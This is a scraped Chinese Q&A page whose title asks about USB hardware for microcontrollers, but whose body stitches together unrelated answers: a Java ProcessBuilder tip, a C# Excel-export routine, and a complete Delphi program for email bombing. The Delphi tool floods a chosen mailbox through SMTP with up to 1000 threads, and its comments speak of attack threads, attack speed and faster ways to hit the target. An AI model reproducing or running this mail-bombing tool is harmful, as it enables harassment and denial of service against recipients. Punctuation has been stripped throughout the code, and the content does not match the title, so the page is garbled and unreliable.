单片机如何与USB接口相连接其硬件电路如何设计

单片机如何与USB接口相连接其硬件电路如何设计,第1张

用ProcessBuilder这个类调用cmd指令,简单点说就是将在cmd指令中运行的java调用c/s结构中登录的类中的方法写到一个list内部,用ProcessBuilder的对象来调用这个list就可以了,楼主可以上网搜下ProcessBuilder的使用方法,只要你的方法可以在cmd中的java环境下编译运行通过,就可以用这种方法来做,希望能帮到你

这里我用了Execldll的方式导出,不过这种方式用很大的弊端貌似要根据office版本来确定引用的类ps:我也不太明白

第一步引用命名空间

关于这个命名空间晚上的资料多大直接都写的是

using Excel;

private void doExport(DataTable dt, string strSheetName)

{

ExcelApplication excel = new ExcelApplication(); //Execl的 *** 作类

//读取保存目标的对象

ExcelWorkbook bookDest = (ExcelWorkbookClass)excelWorkbooksAdd(MissingValue);

ExcelWorksheet sheetDest = bookDestWorksheetsAdd(MissingValue, MissingValue, MissingValue, MissingValue) as ExcelWorksheet;//给工作薄添加一个Sheet

sheetDestName = strSheetName;//自己定义名字O(∩_∩)O哈哈~

int rowIndex = 1;

int colIndex = 0;

excelApplicationWorkbooksAdd(true);//这句不写不知道会不会报错

foreach (DataColumn col in dtColumns)

{

colIndex++;

sheetDestCells[1, colIndex] = colColumnName;//Execl中的第一列,把DataTable的列名先导进去

}

//导入数据行

foreach (DataRow row in dtRows)

{

rowIndex++;

colIndex = 0;

foreach (DataColumn col in dtColumns)

{

colIndex++;

sheetDestCells[rowIndex, colIndex] = row[colColumnName]ToString();

}

}

bookDestSaved = true;

bookDestSaveCopyAs("要保存的文件路径+文件名xls");//方式一

excelQuit();

excel = null;

GCCollect();//垃圾回收

}

你这个问题有点不好说,你用indy插件比较好用

下面是不用控件实现的方法:

uses

 windows,messages,winsock,sysutils;

{$R RES}

const

 CRLF=#13#10;

 exename:pchar='邮箱信使';

var

 thd:array[11000] of integer;

 tid:array[11000] of dword;

 faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;

 s1:string;

 sbuf:array[01024] of char;

 dest:string;

 attstart:boolean;

//----------------------

 wClass:  TWndClass;  //窗口类变量

 Msg: TMSG;//消息变量

 hInst, //程序实例

 Handle,//主窗口句柄

 hFont, //字体句柄

//----------------

 hButtonStart,  //开始按钮

 hButtonStop,//停止按钮

 hButtonHelp,//帮助按钮

 hButtonExit,//退出按钮

 hEditEmail, //e-mail编辑

 hEditCount, //次数编辑

 hEditThread,//线程数编辑

 hLabelEmail,//e-mail提示

 hLabelCount,//次数提示

 hLabelThread,  //线程数提示

 hLabelInfo //领息提示

 :integer; //句柄类型

//--------------------

//往一个窗口写标题

procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;

//从一个窗口读标题

procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;

//以下是网络连接的过程

function StartNet(host:string;port:integer):integer;

var

 wsadata:twsadata;

 fsocket:integer;

 SockAddrIn:TSockAddrIn;

 err:integer;

begin

 //为网络连接作好准备(用winsock11以上版本)

 err:=WSAStartup($0101,WSAData);

 //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义)

 FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);

 //初始化网络数据

 SockAddrInsin_addrs_addr:=inet_addr(PChar(host));

 SockAddrInsin_family := PF_INET;

 SockAddrInsin_port :=htons(port);

 //客户端向smtp进行连接

 repeat

 err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));

 until err=0;

 //

 Result:=FSocket;

end;

//以下是网络关闭的过程

procedure StopNet(Fsocket:integer);

var

 err:integer;

begin

 //发信结束,关闭客户端套接字(Close Client Socket)

 err:=closesocket(FSocket);

 //清除网络参数

 err:=WSACleanup;

end;

//下面是个发送数据包的过程

function SendData(FSocket:integer;SendStr:string):integer;

const

 MaxSize=1024;

var

 DataBuf:array[0MaxSize] of char;

 err:integer;

begin

 //读取网络数据

 err:=recv(FSocket,DataBuf,MaxSize,0);

 //将网络数据写入主窗口的标题中,提示用户正在发信过程中

 //WriteCaption(handle,DataBuf);

 //向网络发送数据

 strcopy(DataBuf,pchar(SendStr));

 err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);

 Result:=0;

end;

//下面是个发信的过程

procedure SendMail;

var SendBody:string;

 FSocket:integer;

begin

 repeat

//指定smtp主机地址,这里用的是smtp21cncom,它的ip为(20210432230)

//指定smtp主机的发信端口,默认为25

FSocket:=StartNet('20210432230',25);

//-------下面是发信过程的各步处理-------

//---------------------------------------

//第一步:发HELO指令,表示我要开始发信了

SendData(FSocket,'HELO'+CRLF);

//第二步:发MAIL FROM指令,表示发信人的信箱

//  注意现在很多SMTP主机有只能允许本地合法用户发信

//  所以发信者的信箱在发信主机中应是一个合法用户

//  否则无法发信,比如hack001便是smtp21cncom中的一个合法用户

SendData(FSocket,'MAIL FROM: <'+CRLF">hack001@21cncom>'+CRLF);

//第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱

//  这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度

//  但对163net好象不行,他加了过滤机制

SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF);

//第四步:发DATA指令,表示要向SMTP主机发数据

SendData(FSocket,'DATA'+CRLF);

//第五步:发具体数据,包括如下内容(信封和信体):

// From:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束

// TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束

// Subject:表示邮件主题,后面以CRLF结束

// 后面一定要再加一个CRLF,表示信封部分结束了

// 接下来是信的主体内容,可以是任何内容,后面以CRLF结束

// 然后一定要再加一个符号,表示信体结束,后面以CRLF结束

SendBody:='From:"bome 2001"<'+CRLF">bome@hackercom>'+CRLF

+'To:"bome 2001"<'+CRLF">bome@hackercom>'+CRLF

+'Subject:New Bome 2001'+CRLF

+CRLF

+'Hello World'+CRLF

+''+CRLF;

SendData(FSocket,SendBody);

//第六步:发结QUIT指令,表示发信过程结束

SendData(FSocket,'QUIT'+CRLF);

//

waitforsingleobject(hMutex,INFINITE);

//显示发信过程的剩余邮件数目

WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+

'正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+

'经过时间: '+inttostr(newtime div 1000)+' 秒'));

//总次数减一

Dec(count);

//调用发信过程,进行发信

newtime:=integer(gettickcount())-oldtime;

speed:=mcount100060 div newtime;

WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));

inc(mcount);

//sleep(300);

if count<=0 then break;

releasemutex(hMutex);

//

StopNet(Fsocket);

 until count<=0;

end;

//------------------------------------

//以下是线程创建时调用的线程函数

function fun(Parameter: Pointer): Integer; stdcall;

begin

SendMail;

WriteCaption(handle,exename);

WriteCaption(hLabelInfo,pchar('发送结束'));

attstart:=true;

result:=0;

end;

procedure ButtonStart;

var k:integer;

begin

 if attstart=true then

 begin

attstart:=false;

WriteCaption(hLabelInfo,pchar('发送开始'));

ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);

ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));

ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));

oldtime:=gettickcount();

mcount:=0;

if Num>1000 then Num:=1000;

for k:=1 to Num do

thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]);

 end;

end;

procedure ButtonStop;

var k:integer;

begin

 for k:=1 to Num do

 TerminateThread(thd[k],0);

 WriteCaption(handle,exename);

 WriteCaption(hLabelInfo,pchar('发送结束'));

 attstart:=true;

 count:=0;

end;

procedure MainCreate;

begin

 attstart:=true;

 hMutex:=createmutex(nil,true,'Bome2001');

 releasemutex(hMutex);

end;

procedure ButtonHelp;

begin

 s1:='本软件只用学习用,不可害人'+CRLF+

 '程序使用多线程100个线程,发送速度极快!'+CRLF;

 

 messagebox(handle,pchar(s1),'帮助',0);

end;

//主程序结束

procedure ShutDown;

begin

 CloseHandle(hMutex);

 //删除字体对象

 DeleteObject(hFont);

 //取消窗口类的注册

 UnRegisterClass(wClasslpszClassName,hInst);

 //结束主进程

 ExitProcess(hInst);

end;

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;

begin

 Result:=DefWindowProc(hWnd,Msg,wParam,lParam);

 case Msg of

 WM_COMMAND:

if lParam=hButtonStart then ButtonStart

else if lParam=hButtonStop then ButtonStop

else if lParam=hButtonHelp then ButtonHelp

else if lParam=hButtonExit then ShutDown;

 WM_CREATE:MainCreate;

 WM_DESTROY: ShutDown;

 end;

end;

//定义几个窗口创建函数

function

CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begin 

Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE

or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end;

function

CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin 

Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or

WS_CHILD or ES_LEFT or

ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;

function

CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin 

Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or

SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;

function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;

begin

 //取得应用程序实例句柄

 hInst:=GetModuleHandle(nil);

 //初使化窗口类的信息

 with wClass do

 begin

Style:= CS_PARENTDC;

hIcon:= LoadIcon(hInst,'MAINICON');

lpfnWndProc:=  @WindowProc;

hInstance:= hInst;

hbrBackground:= COLOR_BTNFACE+1;

lpszClassName:= 'MainClass';

hCursor:=  LoadCursor(0,IDC_ARROW);

 end;

 // 注册窗口类

 RegisterClass(wClass);

 // 建立主窗口

 Result:=CreateWindow(wClasslpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);

end;

//---------主过程,类似于 C语言 中的 WinMain()

begin

 //建立主窗口

 handle:=CreateMain(exename,10,10,320,135);

 //建立四个控制按钮

 hButtonStart:=CreateButton('发送攻击',240,4+260,70,24);

 hButtonStop:=CreateButton('停止发送' ,240,4+261,70,24);

 hButtonHelp:=CreateButton('帮 助' ,240,4+262,70,24);

 hButtonExit:=CreateButton('退 出' ,240,4+263,70,24);

 //建立两个编辑框

 hEditEmail:=CreateEdit(bome@hackercom',60,4,174,20">'bome@hackercom',60,4,174,20);

 hEditCount:=CreateEdit('1000',60,4+261,60,20);

 hEditThread:=CreateEdit('10',193,4+261,41,20);

 //建立三个标签

 hLabelEmail:=CreateLabel('发送目标:',4,8,54,24);

 hLabelCount:=CreateLabel('发送次数:',4,8+261,54,24);

 hLabelThread:=CreateLabel('线程数:',124,8+261,66,24);

 hLabelInfo:=CreateLabel('等候命令',4,8+262,220,44);

 //创建字体对象

 hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH

or FF_DONTCARE,'宋体');

 //改变字体

 SendMessage(hButtonStart,WM_SETFONT,hFont,0);

 SendMessage(hButtonStop,WM_SETFONT,hFont,0);

 SendMessage(hButtonHelp,WM_SETFONT,hFont,0);

 SendMessage(hButtonExit,WM_SETFONT,hFont,0);

 SendMessage(hEditEmail,WM_SETFONT,hFont,0);

 SendMessage(hEditCount,WM_SETFONT,hFont,0);

 SendMessage(hEditThread,WM_SETFONT,hFont,0);

 SendMessage(hLabelEmail,WM_SETFONT,hFont,0);

 SendMessage(hLabelCount,WM_SETFONT,hFont,0);

 SendMessage(hLabelThread,WM_SETFONT,hFont,0);

 SendMessage(hLabelInfo,WM_SETFONT,hFont,0);

 //进入消息循环

 while(GetMessage(Msg,Handle,0,0))do

 begin

TranslateMessage(Msg);

DispatchMessage(Msg);

 end;

end

以上就是关于单片机如何与USB接口相连接其硬件电路如何设计全部的内容,包括:单片机如何与USB接口相连接其硬件电路如何设计、什么是后台进程、如何通过一个bs模式的软件调用一个cs模式的软件。求大神!等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/10630169.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-10
下一篇 2023-05-10

发表评论

登录后才能评论

评论列表(0条)

保存